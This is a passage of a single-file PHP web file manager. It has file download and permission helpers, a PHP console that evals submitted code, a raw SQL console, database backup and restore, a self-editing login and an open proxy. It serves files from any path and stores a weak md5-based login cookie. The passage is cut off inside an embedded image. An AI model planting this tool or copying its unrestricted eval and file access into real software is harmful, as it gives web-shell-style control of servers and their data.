	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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